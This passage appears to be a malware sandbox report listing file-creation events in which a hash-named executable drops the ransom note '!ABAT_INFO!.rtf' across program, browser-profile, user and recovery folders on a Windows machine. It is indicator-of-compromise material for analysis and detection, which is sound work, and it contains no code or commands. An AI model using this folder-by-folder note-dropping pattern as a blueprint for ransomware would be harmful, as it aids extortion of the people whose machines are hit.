File created C:\Program Files\VideoLAN\VLC\lua\intf\modules\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\wasm\index-dir\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Microsoft Sync Framework\v1.0\Runtime\x64\resources\1033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Contacts\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\VisualElements\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds\Feeds for United States~\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\browser\VisualElements\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Mozilla\updates\308046B0AF4A39CB\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Favorites\Links\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\f5hc8vjc.default-release\datareporting\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\sd\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Extensions\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\security\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\wasm\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\All Users\Microsoft\OfficeSoftwareProtectionPlatform\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\YAUNGDT1\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Update\Install\{24604DAC-26A2-4023-B42D-9AEA602FC027}\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\f5hc8vjc.default-release\datareporting\archived\2020-07\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\amd64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Saved Games\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\plugins\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\MEIPreload\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\WidevineCdm\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Mozilla Maintenance Service\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Recovery\051be182-cc51-11ea-ac13-46f8a7600ebe\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\js\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Adobe\Color\Profiles\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\ext\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\JSOYQ5ME\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Etc\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Pacific\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\defaults\pref\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\bin\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\include\win32\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\f5hc8vjc.default-release\storage\default\moz-extension+++74bf55e1-f8f0-4b8e-ae67-9c4088745841^userContextId=4294967295\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Media Player\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\images\cursors\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Update\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Package Cache\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}v14.21.27702\packages\vcRuntimeMinimum_amd64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Atlantic\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Microsoft Analysis Services\AS 